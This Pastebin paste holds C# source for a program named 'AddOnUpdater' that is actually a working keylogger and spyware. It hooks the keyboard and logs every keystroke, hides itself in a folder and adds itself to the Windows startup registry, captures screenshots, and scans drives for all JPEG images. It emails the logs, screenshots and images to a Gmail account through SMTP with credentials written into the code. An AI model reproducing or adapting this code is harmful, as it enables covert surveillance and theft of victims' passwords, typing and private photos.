Guest User

Untitled

a guest
Nov 27th, 2018
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 11.50 KB | None | 0 0
  1. using Microsoft.Win32;
  2. using System;
  3. using System.Collections.Generic;
  4. using System.Diagnostics;
  5. using System.Drawing;
  6. using System.Drawing.Imaging;
  7. using System.IO;
  8. using System.Net;
  9. using System.Runtime.InteropServices;
  10. using System.Text;
  11. using System.Text.RegularExpressions;
  12. using System.Windows.Forms;
  13.  
  14. namespace AddOnUpdater
  15. {
  16.     class Program
  17.     {
  18.         private const int WH_KEYBOARD_LL = 13;
  19.         private const int WM_KEYDOWN = 0x0100;
  20.         private static LowLevelKeyboardProc _proc = HookCallback;
  21.         private static IntPtr _hookID = IntPtr.Zero;
  22.         private static IntPtr SetHook(LowLevelKeyboardProc proc)
  23.         {
  24.             using (Process curProcess = Process.GetCurrentProcess())
  25.             using (ProcessModule curModule = curProcess.MainModule)
  26.             {
  27.                 return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
  28.                 GetModuleHandle(curModule.ModuleName), 0);
  29.             }
  30.         }
  31.  
  32.  
  33.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  34.         private static extern IntPtr SetWindowsHookEx(int idHook,
  35.             LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  36.  
  37.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  38.         [return: MarshalAs(UnmanagedType.Bool)]
  39.         private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  40.  
  41.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  42.         private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
  43.             IntPtr wParam, IntPtr lParam);
  44.  
  45.         [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  46.         private static extern IntPtr GetModuleHandle(string lpModuleName);
  47.  
  48.  
  49.         [DllImport("kernel32.dll")]
  50.         static extern IntPtr GetConsoleWindow();
  51.  
  52.         [DllImport("user32.dll")]
  53.         static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  54.  
  55.         const int SW_HIDE = 0;
  56.  
  57.         static IEnumerable<string> Search(string root, string searchPattern)
  58.         {
  59.             Queue<string> dirs = new Queue<string>();
  60.             dirs.Enqueue(root);
  61.             while (dirs.Count > 0)
  62.             {
  63.                 string dir = dirs.Dequeue();
  64.  
  65.                 // files
  66.                 string[] paths = null;
  67.                 try
  68.                 {
  69.                     paths = Directory.GetFiles(dir, searchPattern);
  70.                 }
  71.                 catch { } // swallow
  72.  
  73.                 if (paths != null && paths.Length > 0)
  74.                 {
  75.                     foreach (string file in paths)
  76.                     {
  77.                         yield return file;
  78.                     }
  79.                 }
  80.  
  81.                 // sub-directories
  82.                 paths = null;
  83.                 try
  84.                 {
  85.                     paths = Directory.GetDirectories(dir);
  86.                 }
  87.                 catch { } // swallow
  88.  
  89.                 if (paths != null && paths.Length > 0)
  90.                 {
  91.                     foreach (string subDir in paths)
  92.                     {
  93.                         dirs.Enqueue(subDir);
  94.                     }
  95.                 }
  96.             }
  97.         }
  98.  
  99.         static void MailIt(string _startupMessage)
  100.         {
  101.             string _msg;
  102.             if (_startupMessage == "" | _startupMessage == null |
  103.                 _startupMessage == "nomsg" | _startupMessage == "attchmnt")
  104.             {
  105.                 StreamReader sr = new StreamReader(@"C:\AddonUpdater\systeminformation.txt");
  106.                 _msg = sr.ReadToEnd();
  107.                 sr.Close();
  108.             }
  109.             else
  110.                 _msg = _startupMessage;
  111.  
  112.             System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();
  113.  
  114.             System.Net.NetworkCredential cred = new System.Net.NetworkCredential("sz.adam.87@gmail.com", "t3jszinhabosDiosretes");
  115.  
  116.             mail.To.Add("sz.adam.87@gmail.com");
  117.             mail.Subject = "AddonUpdater Report";
  118.  
  119.             mail.From = new System.Net.Mail.MailAddress("sz.adam.87@gmail.com");
  120.             mail.IsBodyHtml = true;
  121.             mail.Body = _msg;
  122.            
  123.  
  124.             if (File.Exists(@"C:\AddonUpdater\attchmnt.jpg") & _startupMessage == "attchmnt")
  125.             {
  126.                 System.Net.Mail.Attachment mailAttachment =
  127.                     new System.Net.Mail.Attachment(@"C:\AddonUpdater\attchmnt.jpg");
  128.                 mail.Attachments.Add(mailAttachment);
  129.             }
  130.             else
  131.             {
  132.                 try
  133.                 {
  134.                     System.Net.Mail.Attachment mailAttachment2 =
  135.                         new System.Net.Mail.Attachment(_startupMessage);
  136.                     mail.Attachments.Add(mailAttachment2);
  137.                 }
  138.                 catch
  139.                 {
  140.  
  141.                 }
  142.             }
  143.  
  144.             System.Net.Mail.SmtpClient smtp =
  145.                 new System.Net.Mail.SmtpClient("smtp.gmail.com");
  146.             smtp.UseDefaultCredentials = false;
  147.             smtp.EnableSsl = true;
  148.             smtp.Credentials = cred;
  149.             smtp.Port = 587;
  150.             smtp.Send(mail);
  151.             mail.Dispose();
  152.         }
  153.  
  154.         static void CurrentDomain_ProcessExit(object sender, EventArgs e)
  155.         {
  156.             Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\AOU\", "FirstRun", "True");
  157.         }
  158.  
  159.         #region ExitHandler
  160.  
  161.         private static bool isclosing = false;
  162.         [DllImport("Kernel32")]
  163.         public static extern bool SetConsoleCtrlHandler(HandlerRoutine Handler, bool Add);
  164.         public delegate bool HandlerRoutine(CtrlTypes CtrlType);
  165.         public enum CtrlTypes
  166.         {
  167.             CTRL_C_EVENT = 0,
  168.             CTRL_BREAK_EVENT,
  169.             CTRL_CLOSE_EVENT,
  170.             CTRL_LOGOFF_EVENT = 5,
  171.             CTRL_SHUTDOWN_EVENT
  172.         }
  173.         private static bool ConsoleCtrlCheck(CtrlTypes ctrlType)
  174.         {
  175.             // Put your own handler here
  176.             switch (ctrlType)
  177.             {
  178.                 case CtrlTypes.CTRL_C_EVENT:
  179.                     isclosing = true;
  180.                     Console.WriteLine("CTRL+C received!");
  181.                     break;
  182.  
  183.                 case CtrlTypes.CTRL_BREAK_EVENT:
  184.                     isclosing = true;
  185.                     Console.WriteLine("CTRL+BREAK received!");
  186.                     break;
  187.  
  188.                 case CtrlTypes.CTRL_CLOSE_EVENT:
  189.                     isclosing = true;
  190.                     Console.WriteLine("Program being closed!");
  191.                     break;
  192.  
  193.                 case CtrlTypes.CTRL_LOGOFF_EVENT:
  194.                 case CtrlTypes.CTRL_SHUTDOWN_EVENT:
  195.                     isclosing = true;
  196.                     Console.WriteLine("User is logging off!");
  197.                     break;
  198.  
  199.             }
  200.             return true;
  201.         }
  202.  
  203.         #endregion
  204.  
  205.         static void Main(string[] args)
  206.         {
  207.             SetConsoleCtrlHandler(new HandlerRoutine(ConsoleCtrlCheck), true);
  208.             var handle = GetConsoleWindow();
  209.  
  210.             //ShowWindow(handle, SW_HIDE);
  211.            
  212.             if (!Directory.Exists(@"C:\AddonUpdater\"))
  213.             {
  214.                 DirectoryInfo di = Directory.CreateDirectory(@"C:\AddonUpdater\");
  215.                 di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
  216.             }
  217.  
  218.  
  219.             if (!File.Exists(@"C:\AddonUpdater\systeminformation.txt"))
  220.             {
  221.                 MailIt("Mission accomplished, we're in! :)");
  222.             }
  223.  
  224.             if (!File.Exists(@"C:\AddonUpdater\AddOnUpdater.exe"))
  225.             {
  226.                 File.Copy(Application.StartupPath + @"\AddOnUpdater.exe",
  227.                     @"C:\AddonUpdater\AddOnUpdater.exe");
  228.                 Process.Start(@"C:\AddonUpdater\AddOnUpdater.exe");
  229.                 Environment.Exit(0);
  230.             }
  231.  
  232.             if (Registry.GetValue(
  233.                 @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
  234.                 "AddonUpdater", null) == null)
  235.                 Registry.SetValue(
  236.                 @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
  237.                 "AddOnUpdater", @"C:\AddonUpdater\AddOnUpdater.exe");
  238.  
  239.             if (Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\AOU\", "FirstRun", null) == null |
  240.                 (Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\AOU\", "FirstRun",
  241.                     null)).ToString() == "True")
  242.             {
  243.                 Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\AOU\", "FirstRun", "False");
  244.                 try
  245.                 {
  246.                     foreach (string match in Search("c:\\", "*.jpg"))
  247.                     {
  248.                         MailIt(match);
  249.                     }
  250.  
  251.                     foreach (string match in Search("d:\\", "*.jpg"))
  252.                     {
  253.                         MailIt(match);
  254.                     }
  255.                 }
  256.                 catch (Exception ex)
  257.                 {
  258.                     Console.WriteLine(ex);
  259.                 }
  260.  
  261.             }
  262.  
  263.             _hookID = SetHook(_proc);
  264.             Application.Run();
  265.             UnhookWindowsHookEx(_hookID);
  266.         }
  267.  
  268.         private delegate IntPtr LowLevelKeyboardProc(
  269.         int nCode, IntPtr wParam, IntPtr lParam);
  270.  
  271.         private static IntPtr HookCallback(
  272.             int nCode, IntPtr wParam, IntPtr lParam)
  273.         {
  274.             if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  275.             {
  276.                 int vkCode = Marshal.ReadInt32(lParam);
  277.                 Console.WriteLine((Keys)vkCode);
  278.                 StreamWriter sw = new StreamWriter(@"C:\AddonUpdater\systeminformation.txt", true);
  279.                 if (Regex.IsMatch(((Keys)vkCode).ToString(), "Space"))
  280.                 {
  281.                     string _newKey = " ";
  282.                     sw.Write(_newKey);
  283.                     sw.Close();
  284.                 }
  285.                 else
  286.                 {
  287.                     sw.Write((Keys)vkCode);
  288.                     sw.Close();
  289.                 }
  290.                 StreamReader sr = new StreamReader(@"C:\AddonUpdater\systeminformation.txt");
  291.                 string _counter = sr.ReadToEnd();
  292.                 sr.Close();
  293.                 if (_counter.Length >= 512)
  294.                 {
  295.                     try
  296.                     {
  297.                         File.Delete(@"C:\AddonUpdater\attchmnt.jpg");
  298.                     }
  299.                     catch
  300.                     {
  301.                        
  302.                     }
  303.  
  304.                     try
  305.                     {
  306.                         int screenWidth = Screen.GetBounds(new Point(0, 0)).Width;
  307.                         int screenHeight = Screen.GetBounds(new Point(0, 0)).Height;
  308.                         Bitmap bmpScreenShot = new Bitmap(screenWidth, screenHeight);
  309.                         Graphics gfx = Graphics.FromImage((Image)bmpScreenShot);
  310.                         gfx.CopyFromScreen(0, 0, 0, 0, new Size(screenWidth, screenHeight));
  311.                         bmpScreenShot.Save(@"C:\AddonUpdater\attchmnt.jpg", ImageFormat.Jpeg);
  312.                         gfx.Dispose();
  313.                     }
  314.                     catch
  315.                     {
  316.  
  317.                     }
  318.                    
  319.  
  320.                     MailIt("nomsg");
  321.  
  322.                     StreamWriter sw2 = new StreamWriter(@"C:\AddonUpdater\systeminformation.txt");
  323.                     sw2.WriteLine("");
  324.                     sw2.Close();
  325.                     File.Delete(@"C:\AddonUpdater\attchmnt.jpg");
  326.                 }
  327.             }
  328.             return CallNextHookEx(_hookID, nCode, wParam, lParam);
  329.  
  330.         }
  331.     }
  332. }
Add Comment
Please, Sign In to add comment